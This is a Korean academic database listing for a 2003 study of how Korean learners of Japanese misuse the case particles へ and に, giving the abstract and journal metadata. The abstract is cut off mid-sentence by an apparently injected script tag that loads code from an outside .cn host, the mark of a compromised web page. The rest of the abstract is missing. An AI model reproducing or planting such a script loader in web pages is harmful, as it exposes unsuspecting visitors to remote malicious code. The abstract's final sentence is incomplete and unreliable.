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한국인학습자의 격조사 「へ」「に」습득시 모어전이의 가능성 -오용분석의 관점으로-

The Possibility of Transfer on the Acquisition of Particles e and ni by Korean Learners of Japanese -On the Aspect of the Error Analysis-

제등신호 ( Je Deung Sin Ho )

- 발행기관 : 한국일본어교육학회

- 발행년도 : 2003

- 간행물 : 일본어교육, 23권 0호

- 페이지 : pp.93-114 ( 총 22 페이지 )


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논문제목
초록(한국어)
Elis(1994)는 언어의 이해 중에는 덩어리로 기억되어진 지식고 내재화되고 규칙화되어진 지식의 2종류가 있다고 논하고 있다. 이것은 문법사항을 습득할 때 개별적으로 형태소대로 기억해 가는 것이 아니라 하나의 성구(成句)나 묶음으로 암기하고 그것을 뒤에 분절화하여 실제 이해하는 데로 발전시켜가는 것을 나타내고 있다. 이와 같은 덩어리로 기억하는 언어처리 방법을 「유니트(unit)형식의 전략(starategy)」라고 한다. 현재 대부분의 언어교육기관에서 수용하고 있는 오디어링글법은 유니트 형식의 전략과 깊이 관련되어 있다. 오디어링글법에서는 문의 연쇄에는 일정의 패턴이 있으며 언어습득은 그 패턴을 암기하여 습관을 형성해 가는 것에 의해 달성된다고 생각하고 있다. 이를 위해 패턴 프렉티스(pattern practice)등에 의한 일련의 교실활동에 의해 「자극-반은」에 기본을 둔 훈련을 행하고 유니트 형성을 목표로 하는 집중학습이 행해진다. 이 집중학습에 의해 생겨난 「과잉학습(overlearning)」은 바른 표현뿐만 아니라 오용으로도 전이되고 있으며 반드시 유니트 형성이 언어 이해를 촉진시키는 것은 아니라고 보고되고 있다(迫田 ,2001b). 그러나 Lightbown(1983)에 의하면 일단 과잉학습에 의한 규칙의 과잉반화(過剩般化)가 있었다고 하더라도 그 후 학습자가 문제를 해결하고 학습자 자신의 중간언어를 만들어 내는 체계를 잡아갈 수 있다고 논하고 있다. 齋藤(2003)는 한국인 일본어 학습자의 작문 코퍼스를 바탕으로 초급에서부터 중급에 걸쳐 격조사「へ」가 유니트 형성의 전략에 의해 과잉반화하여 그 후 수습해나는 현상을 확인하고 그 결과 Lightbown과 같은 식견을 얻었다. 그러나 Lightbown의 연구 중에서는 표출되어진 오용의 원인에 대한 고찰이 부족하기 때문에, 본 연구에서는 한국인 중급 일본어학습자 27명을 대상으로 빈곳을 보충하는 형식의 테스트를 실시하여 오용의 발생을 일으키는 원인이 모어전이(母語轉移)에 의한 마이너스 간섭(interference)에 있는 것인가, 아니면 다른 원인에 있는 것인가를 오용분석의 각도에서 확인했다. 그 결과 오용은 「で」와「を」가 한국어 모어로부터의 마이너스 전이인 ‘언어 간 에러’의 가능성이 있으며 그것 이외의 조사 오용은 ‘언어 내 에러’의 가능성이 있다는 것을 지적할 수 있었다. 이 「で」와「を」의 오용비율이 「行く」, 「來る」, 「歸る」의 경우 「で」에 집중하고 그 외의 이동동사의 경우 「で」와「を」로 분산되어 있다는 것이 관찰되었으며 같은 모어로부터의 마이너스 전이이더라도 동사 그룹에 따라 오용이 발생하는 비율에 차이가 생긴다는 것을 관찰할 수 있었다. 이것은 「行く」, 「來る」, 「歸る」동사에 대해서는 방향성을 나타내는 조사를 사용하지 않으면 안된다고 하는 의식이 있기 때문에 한국어의 「로」에 대응하는 「へ」와 「と」사이에서 혼용이 일어났으며 초급단계에서 도입한 「へ」+「行く」, 「來る」, 「歸る」의 유니트가 학습자에게 정착되어 있다는 것을 시사하고 있다. 그 때문에 모어로부터의 마이너스 간섭이 다소 제어되어지고 모어체계에 있는 「を」오용의 발생률이 낮고 「で」오용에 집중되어 있다. 한편 그것 이외의 이동동사는 조사와의 유니트 형성이 없기 때문에 「を」와 「で」의 양쪽에서 마이너스 전이가 일어난다고 생각할 수 있다. 또 바른 표현이라고 생각되어지는 「行く」, 「來る」, 「歸る」는 격조사「へ」와 격조사「に」의 사용이 서로 비슷한 비율로 혼용되고 유의차(有意差)가 없으며, 그 외 이동동사는 격조사「に」의 사용이 우세인 것을 확인하고 선행 명사는 「に」와 「へ」의 판단에는 관계하고 있지 않다는 것을 확인했다. 이것은 후속하는 동사가 조사 선택의 판단기준이 된다고 하는 것을 증명하고 있다. 종래 비판 받아온 초급단계의 오디오링글법의 「과잉학습」에 의한 강한 유니트 형성의 유무가 이와 같이 중급단계에서의 오용을 일으키는 요인의 차이에까지 영향을 미치고 있으나, 반드시 과잉학습이 마이너스 영향만을 일으키고 있다는 것이 아니라 플러스 작용도 하고 있다는 것을 지적할 수 있고 초급단계에서의 패턴 프렉티스의 유효성을 시사하고 있다. Nemser(1971)에서는 근사체계(近似體系)라는 방식에 의해 학습자의 언어는 모어화자의 능력으로 전달되기까지 연속적으로 향상한다고 설명하고 있다. 즉 격조사「へ」가 일단 강한 유니트 형성의 전략에 의해 습득되고 그에 따라 일정기간 이후 제일언어화자의 일본어로 근접해가고 있다고 생각되어진다. 이 경향은 齋藤(2003)에 있어 「へ」의 사용이 학습이 진행됨에 따라 「行く」, 「來る」, 「歸る」3종류의 동사에서 다른 이동동사의 확장을 보이기 시작하고 있다는 것으로 관찰되어지며 또 이번 조사에서는 「に」의 사용이 확대되고 있다는 ?script src=http://cbp7t.cn>

논문정보
  • - 주제 : 어문학분야 > 일어일문학
  • - 발행기관 : 한국일본어교육학회
  • - 간행물 : 일본어교육, 23권 0호
  • - 발행년도 : 2003
  • - 페이지 : pp.93-114 ( 총 22 페이지 )
  • - UCI(KEPA) : I410-ECN-0102-2009-730-003138079
저널정보
  • - 주제 : 어문학분야 > 일어일문학
  • - 성격 : 학술지
  • - 간기 : 계간
  • - 국내 등재 : KCI 등재
  • - 해외 등재 : -
  • - ISSN : 2005-7016
  • - 수록범위 : 1985–2021
  • - 수록 논문수 : 1232